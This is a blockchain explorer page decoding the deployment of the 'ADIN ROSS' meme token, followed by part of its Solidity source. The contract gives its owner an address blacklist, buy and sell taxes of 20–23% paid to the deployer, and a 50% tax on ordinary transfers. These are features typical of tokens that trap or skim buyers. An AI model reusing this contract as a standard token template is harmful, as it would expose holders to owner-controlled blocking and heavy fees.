ETH Price: $2,293.76 (-4.90%)

Transaction Decoder

Block:
20048721 at Jun-08-2024 05:52:35 PM +UTC
Transaction Fee:
0.04335792544452802 ETH $99.45
Gas Used:
3,405,946 Gas / 12.73006837 Gwei

Account State Difference:

  Address   Before After State Difference Code
(beaverbuild)
7.668701264258281012 Eth7.67310536201435623 Eth0.004404097756075218
0xA60F5fC5...77a1AEC7D
0 Eth
Nonce: 0
0 Eth
Nonce: 1
From: 0 To: 176447469627447627256424386072794380610966204914281464930365873347665246861424037200069335577768401073057945101784674603439657420777820069277695250768922361428549803492463133840188608458615550654444562707264028530172892858485838777683751028389971123395384514362921664256514903241828279051233596721835482259032290765716011406897788311558225436036605423957477444552698457214043787272692487346391401225052146077292902909019141714033799167928671591089171967212922281565254596519852812346350197313890884343517690463744516544644806242381682113709805217428978840587133934525506937139413230317398525061422609240540210540487245542587067800905652123028597898136959898819715488008712540479796645748775300214069909861228401593114608920780103879085556274388193770573539268573913521606605910266464896276253713535906972035161876944560127380109811380503440753523946387023510441211041532463394539089150410525095883696567018345385989815134628779534935636507746342246574510093809959281197129340894137183382414235560699274304825929385142530230613424529258896277886807493491921026264308541462695303815800494873572113799415901697162738760769010219143103814475014623688308748162305140403314654870855125576448768581812622581963412605594892222533535548340250015553609852748635815723615677213023318539663987233283195435673019019792402876307018556224232380426687702202580458550111282171649381650906773279294497467041545708549472799418068452427795181498235911370098008259713173675296948738490597310951386760288079008402905416652886204180224510579989232570159218038788576962144850133663499183669796361878725988316112115696663994780482375423975632079190585927922920543211136485165452948443044155885680756573440998271781850531653040238625711988642893494860200969140254552644600537001465062202799774097076472347649581290743630122176322571842950991460757760399306244819547420058724999139279384862318099669117949798329829304066467076467309884626717059959667020441730450439913338246160468069894331879500334966718910405444511041287876722765455775882300210827090905949940109720465963704808757120722848603937425686222984098930980536991889835309831622656081725039190109387785227143022994447420498215538116264150518834291486464590216077811397721528334380055606332078224120857769090545419744179966008723749980775102180989125053865817855400972600835772873238586055823338411984410345668834650591155208371772101569032818798937314441225361476738031476903046825544675375237386197489573413264922193666112264375456236648506405910322191099419172226525546783119198418754286749088451856591401040497079493788321225118861140073877779696054875975382075525177641420238944267397517546872715577716875678854985440795488969411992816030423159393406781307524780910190344229270846522042326563117158136204123382494709381400107915157552179472802677948260964710646991935405353100166159948265397367765026442407007367751467379593993846296129463638730233176034576548021162222334625551005657650489530124987789896774006119728039861588485586113545850577206090419673131582192318696911409228936282097713351716320751789777994186324840837689813962716792949345390676752025680933266436692440311979343568870685393212111442500821187360201258605811738009991280362158803862264072410236770062909338818789334150778814113415082866734661676272431692288242280312493403412942232513646668365424873141952395133543342359021665414734396175605831599578130843781699688875531986688556967329742753025621104058250395132957444507406905820463403565277800955672099608046544221343202538568943998517303278537229881439463514402247847492280422628752368655559448721763696184973482115006631202119495132898120467061860662573307457489488355461848827870670522662519998334341730676808894705584844427098817810155472508540725070737188165583987967075933448588256572984455483188904844557069846245906751921530870680632091508553283230371252403334039835445798645977718041013218960536608152815762784754154745650761244956502743729924130102417333341727117575820772813731775178299086518367289122410709353038262223722309969737890645189091105429016350265995149147117166331496310774997185803226219846205758885491509402175355067623242911670053972768476363147960169892300331872129955228968942513118043421851881353746238544520922403541873336213782499217688743250290380227231750860006895345838869538381429291579909865580047536462875850312001013629171044127810058389215967328111384323250577183959790837922494885681038306517420963716272106320878344287470234425059629182797345665585675540984155980852538168472187470039184782330307008217283787628137268294339995318539259656130248988428295987334999940584436489020282448591052462619730839449162921954662439704390992088832194915211191396996945091488567321074241972758719929418284184906965327409058991157047810940301138977325102174293137157065393783984856459710455333766170598843162281160877061188029905664573116081537355555231104205385549717890174641791473594300946629144993035208173994515554587203838231858485004042663458952307112546073693446290914573678266675457152965575989477517347862161955182119813385351370993293413526043359530576117036098492937620929718227856450080401769680051493903295648890109045123737567164624772800304234521543218317232210920765328981710466345506089554181517228693736903787791072898497719999172647762018530862188167781424713909251841764348228612891214404537988529830919304804154637478596366207649013247916451028070365291340340335896619506729130205436498173082245920025374073502481945079235407281799974335817910937217015007479250217172403014577187527577880937613978226969321769055158909316430009957277406846763599689048065835951239184210814687182759641640201170423942551646643699893300165971617643981743819330621487503812332396709073291162919820400257763666803226134273082568966543018531343554945364028181130799759147572247355572652025940517014524823493302636878955765333768876430663737901214712669842707551841193513861654477863133953847435028366023447473769473324274332500479637388972702268513747138366330384075550425586929226781656390869235029009360581795276070017832029060955044783416199974768970458499376358138655217947270001066833864046164830197458684216928821556763533173522230188316702688753873026812408535545861467903455345060431917183434892461380680546696614036132436597416521196986155764216977036965243187389540631660843813570616881320127068302938097408970111726085610120713936401156987778458753601651778091830530497136220992226039994063761666382822101524350557346056492813896169415091774758712335708746216315180555163246394947159796209697060072532024687333555347894634197712823025984715981579168455485870628056383480690636924458435237972510150203127825740849093648696731853623230735241113813586736221892531886043753452876650758813602205972884872161090814696621676889879511474687305812423629468297698596219965736910161353938933477375095662571364162099744109544909274874133493740454744379185796360309331319247760791272937489984185560497220823274469442606956544033260196865300546195257352581367418947002779224140767840144498691033673389340284624847521737123617239762138753294982766166945509423798274851884268370907169663262742282147862797459048097661531345939261612642137949243358360481458724055507906114968018853601065514645543592506086492833490935328365607323442769704847483651982207529842129951209499222467531608552951611721590648007317230550582342245262636352785724965052183317321656146931341498252614882082293716556888982415071754313394397866874096783054955889458797381134309846145013796879130858898840891063625677231133332128493094440977973719785560004851805884335047220369089177207215827444426588525217541437349277026455926744686748998347320420104507942575371538265352039481977321302235736806040926003859318342021451854498099194217196450185105848753922883739795316219323576636874443866373732940405833134670718543748641262306661068494941931500528066372354639284487869881780192851932661291389929776165596390640939647651387327584210389166137878621743731263054811300757643809082827749149527986797471187516837877309021234877470764014451868198169929970010731639960318115352963445394966559652644989947100743522634109940834658482399780682618197715298623948833515378949019252670913136158459069504249211788210451355253383000126892142162656253018158972234577988775052454197384366100815514049928799924984401934840697368478073254512343693471670308450563196663591093070354852352156664900897539205022303646578214164567827058183253262850321328532188186964905260189514361141569090569237294447918052437685611466897487442538736246298235659795436432013693619831070044844711882045200768309598658022108699476861959560747223333467344774566604056456584774529165288817820963107802338975741063873238864888424470028257028781302575656496662521531633562555989702308480484752215219344757621107667010462146563398491641149671543845502856597103036479092158166362159961125138985589906684722189049939465406119315177041150285794860014833729110345671263412751275680781543829493046026747550947011683485887632260843591001648666398382970147179049212477401595274902220798053542449383799358737570033752425372862777827948941341400329575187301142707550635025592341755917737593845684458390802156020760731856919691262438709857071260728447760849515927735630894375444612012112414834079455474390781492406001861942271458320922365281557016800240141304824149981690395709594395807188398436614433207069328665390479693016530681650061096220959869897985896080944037239202119148419765818556253741463185986957672310311003326301554584810202983638666706338835780184115352305833879308240007056154865593037317968256633527543835668095157023783554033870208926095175578530974679216807336814147040036575829513447491306375771575651730296516925121020001796997948541643446319957902050911592354469690239758801725182842452498364848289306215908894921938077027471092168975356600761926894425919096004380813688649740676441572494341733745372074737536716565495454235386236174894169217925248009696117478854159183270806644921799217407324858226528536007179979210495417381866718010270439764871554006277788645701439215623068200157110553493840534768922047647600902693608050410599274659958924037878133842221742518535160281788969105771956788690472184469965408298869428130041200587605333338730926119018088845467978242078012310507949464657710999454902495709652055702263176527045229872166793279019313085355345901426887755767822981387733463174784106916032335712958745910537688255061667580216285632437134078631974558245478329114485795555659965745166470100850448746212081641405046069937936403826531265835473652007961881538819740204028161955418950992109487405541439966069452496022585338136780043452328652285394022567376129920472902407764908348982543684113812261069284570035498476782757269835458397722393026049061992784770636560015928339822167914394481347939424986283722668300995873697738758031135501770388325227459987995789944796816817321998704252812084363163298675335689857519872304145784464910021174741985159196691532618187511575144317071724986770804861358430595890689678393565402886001325823053040519431469829666969198424082398526692187403400738349511309002375852153211038154067365458684059719939731985758589190927426518817409490934746629585339014187759986354749733106454979352724446874828248484001957800789168725637424754050125106611928371018742630211674152286149530915570490410953307079150332447602426351630922426594693386061127423741509920450683939446549694436216703340372471900225336937172646226280616735138596335384450865957345395118301467364972445115802001002107753494873887007141693231793620220162910094044183296021606377760899193252602848843501988434652985709942211466880720646786785587918298484455436607638611925347213938191676064941645342508029936248658285430122905299721278702021674772801224980259967353947511789763638599575503567764942684887277377406045751969292032478668916351968347749933563063350839421435536915603627018739937803210530029734370654896334008692815747849473197925842772445930053330002545875863112507926287222745940852573160833454702608951934076561044066769227424028948032346967281607682811733492874689228704439790932584356809101466989003960415032430704030927792536026773558332604031738776300643546563897581199947244472671241214647434224052957320366834214020895291961473157208433871860264482790233369928340807595927802287048166622793816191950270055434403195925199380825642585109149374546831547839348864830876506409889327104555399500171925591492853007536923162965657222068534025567331650758516136128228973974261465546814292719603994313853743965090682486057450995999980304298797384148613297457756947206102848133356070026774698797352767728108365973897470337031936486970192779799060395889769229846099513704289557918986094134070168786909903172444804627235177209608944271933251176630173490017586588800830939194755501246354744860589977774972115125429726576945003388764253093214285372658995408266282147782334194321203649511427360373927923130171595050460722370843001334375527227652204325069917522792573007353331994749217227248859687113570343348265730284028997604851773228488984124482704236113878187395609174759666924502959590644343490002297545694433731735088264924817743573335278271079764057780845954743476358992353465142689963830015400916934453319319924835088576786672252347896998243152163532026757151085625803591111145038769488182235704974061003515116826387871895129742692440461735386538688024161777193936440330053962421334437201052065789814443603435984200737504741816156518496309968475274507632869921772071160480240667852919370997205628058702416714216921251533290278965349573381479535879364782882772464983257384854068552819910091561850358857192802233793914487723665271636153950529719533304166427111268324425345154569042724655032618212092475385002349471542965309927122382060676282660129340985721850678969752489495038685171609638827329290246707002885859305337997594192651326774508404599578853764067683344357669502113179581249231571010830377444790461126049703892277057702279663037329391838116593127335697476395958959732513525141180255954569706856739478427873833768596576655949210983825670902523750797252565510307299408384020971087702261908737861920812494394075452712936648801251253214196335823160411000718162266666520565776708549890457274926098978828722527567833548520456366549672331707419122845130385797501487021524447060101210944305047916666549567230304683281049949830822390423454676290657690772249584176777043883993857704765400691156636165372376634217949380314630405219056683333686652999000794990435277088326357435014289054658239291726589542766498680111973597048134033943926549634589058612636860838360166194723935865889143531295734214423112916596039419572327007528152355646422699708559573099241093599310522269168185077712045947887628488712421054457536536912415865390685906350908291644819936380539492999954730402839123017237878683773299322074396647060357265711649079169206098715790715485242804003305395942155444923645366559246486685831328778002210644138127474429993601487020223230909645070615583534967113195629108621029663351476257941489806679386233296975547231901592664295208099670487623194382903618789097694621619704015923281560771865658333262235968761174930817809502894620973936808724180275904234456687000743667094500257278658052636555397882862743771006409495544966858650968737221189378557490037213024371431108085286074337998199966458578501188235770631627906145882757936851602967722271657083446442979177790266391449731374113168842933734454708507338188796780885083953436966685211609526573162399113031083483755650014691369762673994699599391602759109961719258039716689514853689519959880136883584993348541924462614679007180453122560601055227359636170966078472867189398947079259168024415208951319840372860712341693722286009178407628531728262332114360939889240848300389211075159979905283586555304648564494294514010385528764555965514370056577042452707023573510428366739934107589195733256021207514848559082250189310473048717635390501355462837677904216701399609785970361557141754031334413999918825214683925484827342939618032191062547397915274806164921125447243134739510384655927377363453236122556963813973542414361731976465697667170297428411620096916300297455285374269766412337226595709886690692523765451658684060237255898205214588030444958122939217301154732130663897382997639670668665154377132435179867791928458689351987780668969169764330574168662050295860696627365669023434233686960225333073515746192551156725907267694013582217417522070225099061293479069922077717781572473917658448974176294973457874751496315320310495010798802862509612068096804270448134411311613099821603602185343108854559392757569203898820253831439780375000757497543393544981009850663000624750167607247959253188861381327459170404439628112124203171565487692722396168113235255511023753873770105614959699831995761939981360542141577020990478516042541339164443508897893194711349485428778803058045671445802000936687327981233602652714095190518640783248307387781843763133959404590667773820855644676482353723642124960660958604563334237596190622678074614235334076831211733736062977494266800615985236855460636158145375613703912207494728043180478861644719009476289828667935521570964545853165896021824957687817831857697569331236016830093871558256368380566127261465602081872094559117683919100947105825794746390159195920796232051963804870567066704662468984144725203902576191488769713362646105438864606001611367138255869732732310496070156306442585994453372789286807189395226642825088360094372147762656023820965755978678943255961288453445864931201330353763189299951590272356137491355235181118216015374648811715943173842250763570991689765539696974007905738162443698141822267154132803495486230569613716071390408798861643310332384498186539641182421835973607901751380815180438117579584302414824964762722911639866460914096016107860001571592704499655477420734237870161268549341476378631347820602100094912345378705174449275720593165700114741449507246844848169376140974067068742263697379040842907619009186795739106339652642541451420206889349394283209905758818826738246673252976313482126119709056133435331794804798589059990040042669207724157654346186816284009938042433502391176579388248225723265671600054234276480905526080496729674286678465534442202009240088757978755850854449416756491458769368072106418872164505532061451003177803103974277932871137289346103980278630158463958285770057492622431617598890391967247271335601650097723267779289856034432387437675506686276841990582338314199612080451150890955583846724626649520868467116743689218965950838452777922386945633312694561185550361882817295005541764368052851226278322896065520339421510751101023181456795320141003440968092193415347547633700296367462685907911437768157632075797762230898354799088084204724181343989046014613269860300354919306474751243907343969720255222785666588537193138381411271611582123767567683970201039010691893493398735403545550082746818781936249410550830007401874234242386645405780384463546758640265858568679404489856294800233840362320737846366656005196532582244113902644663194335754163092899275273346758996253125366907226591099086941866832661863132145472157822422568862168496998235441331462478101359967193923503670386935412990952912353643097530071880137846103813721327173206330402196210305819780424826363201202786665262501945245861171886918410357541043570062006679129024212736429092734685933849793008880991076673088459326608457161782671563447740166440941730876463729739679358530579643499763484501819196090553194180388719351775689368959639301593729046918135419014869513563438043975549685900946701012458623850793660016427862977836190338488029816267404039934418675394620013864530911590182092055474268397718479820120595593674143729030936799442617736249784431563646010552428824923979207131594311846458497153063892445534183530014869628192860751702490012987595296336922083043269492586760659473858428818698677977889912801204905355763779697343020789551354986853128409270536850567575383725500583776302775412120828138009630489904873618620277690183159342191873107902923563861024097453339402204048523726730314471913687517179143731361395359691845126071101136280118458394350728340771353538761922377842766509187507154931028532263688432892324860245538571312165802207106567420641512630244894701930997920100777169760927106152046380375018775735585818624465494988345139696304284340160672366352473782230945084340784204001478058831880494015755148975302360361492895581669973664898582200571467540621401608427030986235017502912442098841482174288275054693700751705969308998910336592379272505652066946615196941204867520234960862937137799986129907083148530031239325257109220088723787277500196279280442540633454677314347291575491775375932598419824838594255952537872080856977254721158758852299979834963195664098585474068359816845280718439545415665279946043132156447713813580979588367649149688347530454897552917877215348998805016690246241544361620682253534524137713596937823041670749730752819055773222307136279834857348340250367993619736812581604907824232499456439885673310163013490582197827038755871873431768266108681426602930410777712154032687656506099445688030990026636428895740996283336807188301561197468755958461298612808753695946700674991670817098603978148559887039002639123385842836346919633678342642238181301739400158487403374088350301375925824550285268276004967367567478131489653397740141235007366628920190963326511107781321286578682768818101691747603480345870219476724395361730996331710396313534253975698970431008949101317148348509184522031056929113610507429315251646349601952332950880947044987774688213277690573676713293384716787437785527174031700651272215486734294939845947555672720398968149145803652942043660715486001251317256958834484995995453824044594051626629787472574237436769360207143348390049026722602866860954559069399884378270787438245846699801539403650293617340325854295517654062426817078670982343192503527986739498359995427875471803460400264784475636955223805033252034593124789014808012037151832631809352318906096634559005130878438581938647578205746384536987937895457726981418766713918452053044551164800759292084026258157693323915225715310431914273790796005700981144026727823415734741346553875027189623402119403738043161539902340690244061907119505200615307477738362672850213786450529504173677706851960416685160761189788663627631004133412323418014920837862770578061328820497893864355779730606432550590098890526862179843909018207110958719829210040805787800123348830440194899655448836118501935264658662846429705803831847607249785886553304169638173516175252948058319582315355126917676494189864090219910097210434966747489076104950337894805987905027907412430375924280967377832740617619424180539609929687803557590342057369186420579767710807110556952392371089484248252428558319633023265126408491189798839456406654692117415007031382380228092935855397259847191074558321692573620709869302232942143492000107626489198237656927965442327165387145108182215957892736653663967336639953642168599662670470926548506299091150953418058065166457768627149258561106557356738336646272278622666714824694387530259398545879396016804411003480959814866529821356380907864486540592573200825357624371054471092474549373416639652605367399957519660655700638867743139219299922119103476118480890485910958421689194597071632077535879940435346131459039274510076649588794689644882748287359935215505019957630237576186273541465233679814698830469688225151155214664511846641952962609484792885120628568855712633410752479689501847180560193265679611153875977357117468411226723555639880190461288924980323427235388996363567383063599123413490257602664962781274512163944657097210138661657139566705072000439885600649814152475863643550671146559541416975412108588789048333063963869049422126821188348339388005223423617927588696206833200096794501667255056203828863447543193286991434309343775105341591815441809313826923100638453551615155120362714857060068668866562761264502994892232028267621560207203992631940734206806873558322160670807304360924757463770497138166360938169257833708878412331894495781422997883617479766003690036164558089072191156916559485637868609905106464411332265933790238477052418631994683966237310549650090294164358381476223596617516718931114365629608234584191946449973545644935854800911500585812827745602322495103195300720663308558712824605599398834416585806499347841144501366870425375660820981842153576278142639658929284717453435006330226071389071972103909202692539802940657680794609881596489075033452007503621650281638322662954612831799056965527165369190718491932115337220032095352683938899536400615934868403839458190457856346924647993521075090532085995621064515528797082627193140550800023570031171467078682966638105770654007425081733919190202454458267144971919351010404272944402860300889628064951366862325053357887643994055582656007415709453657724123777612971730069342907796407374495732680181723376977384762937682347998542935743063387601229268095680365374375380198808986051623197918425732961584186847555426356379897128899793021311532373945573213470755303025439159848921269172798458378852305261743349642829137491059234351183549207568611210231208806030344479420218311260069704220533004527721786614577616699446004221807615881615246409090843435247084641001871632484488790573232382291889193153131424077622337699633329793867445151821625403449223582650661366406775158415019234966351828462168543722574396938102157965825568415394077815195429918703020302862566924376818824387659229216130989132305555171109000602955622325298676228150813887797043211730056052466313941930293095094200129667018695180198035389953112892971596599913087650234382694283767377963672172013168755371412060126608416987978386309341739642274941425854843763501667324542715466135372990571679065185273807263689843245227451659945599291530966784625012508042004998497213176667973032352287475244295309343514615637864383166447686231800232379569950152122660615577423084877184195788158449434149709004144321098257630843296056801399082230190947211612677407311075361668159018843602318350227471581652339428308880507951242884829363463618631884603747932738832513531998820585424234431745279948545368139370576899560914318076243646304495106420961248688437050805418041112169980840897485016070057046037021710087156902874874986585660635923314821836987414630696277199820918208238030145069433419073720671965874817230830386226273639457028676052744748007102576392045536271131792834926966753343063686540940578062151655249285962585427425942651732200386379903793244211441234189741496876145395247947832229258195922660701637619695178708138489550303679179444219736648474819453252913390348476374756732618765052673477391516498016201522484382902789787835751464299222548772473752896265263319032954130995462136443965241253266926643928601144963545228273176457551806389181336163173302133534113363254167003088488590367394018080270564827697560691935662258244356210599276371917442620778758181607948951330605147383202918964692249344373576793454693528173524317826296714499785172172693374927499718352076053208129700718048456090411758319349083913173019717781616700357578109808410312555229358446910549410865617946267131397058421304689602349466445559898266971184177614005095043853826860878538159033808304113579859406594351529113335657117076264159329584486904925837559900838043946268900327658832478254917607933626025807275940273628024018534179640730397236794616933641893227704201243900415021754335149572958889383540434103518697825432321404798775194247232228014917992136273599095533150914019691868898818312858856874812758821932674323578769740412676266642315023675600827354656598619961222312925228470822989787504047686439526552380265796221614848719960000255206202824039636118773793863256482728752097301333845594451371509553299139255066548265881336955632802798975587640806099551574756921819038513312017069821024383665281256653271730462271007004138314258091825675536778661404365496299964385604977536397132421157237350113434171256175047890300267781865345434602587162722762602861809697835599671064702440669263917559807189490379605696170853417982493029688849145233884891669270455393629735481415359146046417784457985874796810751223180491176846008857521346707511298379628193666689743414891783708058850964464493384004384239342322481002871034810164421314959996044159666921587528637732669869113222569163066372636278903446837225612813176465822741712540824562668203905790084619107492654298442078675490032975430931349567836523510547149401586043475895197317856278227434700289190321228353668322972661329089470225055114813453153570165318080196656603699757852563996304784561757812528335508808391692834331879532780608992157959486997095764428812511235739977094091680683940850578086956611671417873183243629931406380116260406043401842068720959836657023326792319160350511992538369900718215637009041289743371668201420413758409576562429523486732514997912152486853952936530500866756213499886033730810324143400653311817094818487220000555918077320351385888625097695516113019597330469038754274617333230959553885246740221599360467099420113909606794202212759855246748258067953344757093064919647520576425381023845376114543463944919545022942993708590332495022683322367882420517558894779801997560066821440832568466466168053153221767944830413542566736581386172000361153571306476164293965963547997027549108094990204720293807310021504241817062387978751870823829927156041070546668491378599503650646533307481760462392200333860203036322055396292297024215622008992311614329426800204326020932477315478808208409356787510786791919205207270780363171501021400273981537342641696055649971678178130177718290303713957396489273152713930224895608130344221645560613380825420692591593970445532076839993206800313499358089105779192642493543466736380306248193457899071970163897277182290676314518006639591909069869413241530321796574748146238841941715222692897788734620954349564770976187266032312699182756653911249733752219863433589406849444115494102161900557525698442645937726058251351423076478557569947320862413366881471463084125494109653622837235063614518626696574370337469891977640144763001343006599279084451293144656251072014589257842927960962261628232786417737383293658066618832767436520812207678748995818762133252458965792779462389116922093036169139788777055781377148381728834929804260962283485620419958505434603498859896171352840309360995383893936716117219794326465755517972998595525337510746224325361554524046231228001202481670952824140776702933987698619427233712975835699946429294111784749527430646724589710872718425856173350820985029669913483052688869778174017882553479454099062341440107299662127165092683358145464251918194225308233503439532004507004004766481235467605594142620256571747553277845516892446601457704925264296137530188638675291023730005107748316400346091708161027898840620245775144953422060050855941502150976921683119210603561962432848638235586433839987679567229866191586581478967946170795771942109059227412087683352658520030868755249076476559313909329851282976599358252924046762625652210582440156237629848605947914977347777998743627625152630475241933915499463981384736666644312638559610573107470583495049912854912519557170113975708069436009648447933407869762278332417366223294291972319039898360992250929964466752509636609724107074311319884851371674506367820733274486506843789861885859675906562332579542886806880971176453457637348049901004349777877674375189585701186077736711055404312613550235553865841995961051011761008216841528041639364594005757601120564622569500769174664549934052791201955537122913131096825850738808314403579109790304602334492928611168780267532118597804690378941311003093053134522484063025781548142631528490616259491435763434007031126136859703780908728053755829678944766510656265133877497331407001372331351763154005682078444934121953006258844519826453475845375415726566899768573540807285619011635768852468137983726539608071916375798906456559902138164920722785481627622837259646847150911471434661925543087635660995935487822302930688386540544868209106696771141459998099320597358131433710380564635541670479620967287878655827481870934927967653864396454655746277703562512066463782638194497779496615887403843539442593902154930667684639465070213198799138217243480254475883819487589686409411134051286951820075100910974945134821583352213948735727428164776235796260261746551252397039897384512821073644175018196120448645215933702969606885027233867049894834213132088482012319658482248052959275388991447737974429366618970351727971887751086607254014494489777427622811725373328925245101168881296688241993820719587870307397369651659250191197233046586189654047307376309198912055709795955878180592383778125410816741374225602430427488179850931335858890132624810404480406151364563407160988708616830585034776644260485724496861392750965538965491479305686841427293502015971464642740074033693584412092693140132900733601092667181157514401975419644960018122733256064060105008468828803573412029862676019387084690215549219383448467396464930937663544380479257055177707056681276352410592381929919346192935935587912267969717879504324522626651305225527990572425364596185052262227817039888883628982505332171917921895739106721162389837809181106762213259854221213548935500190738081128421568253748810155449229691777643740288893024628080032700082953337120614738436571137642536330898733488008732927630954785328432353701422512760192305591860198448521173118799509107850165152709555740499351895440318139665856179885636384167355915377539524071363402489551500938873850515468212456289439247897587788474380690165070363557939
0xd03c6B97...9C66f1baD
0.995 Eth
Nonce: 0
0.95164207455547198 Eth
Nonce: 1
0.04335792544452802

Execution Trace

ROSS.60806040( )
/**
*/
// SPDX-License-Identifier: UNLICENSE

/*

$ROSS THE NEXT G

web: https://www.adinross.vip/
x: https://x.com/adinrosscoin
tg: https://t.me/adinrosserc20

*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ROSS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=21;
    uint256 private _transferTax=50;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"ADIN ROSS";
    string private constant _symbol = unicode"ROSS";
    uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


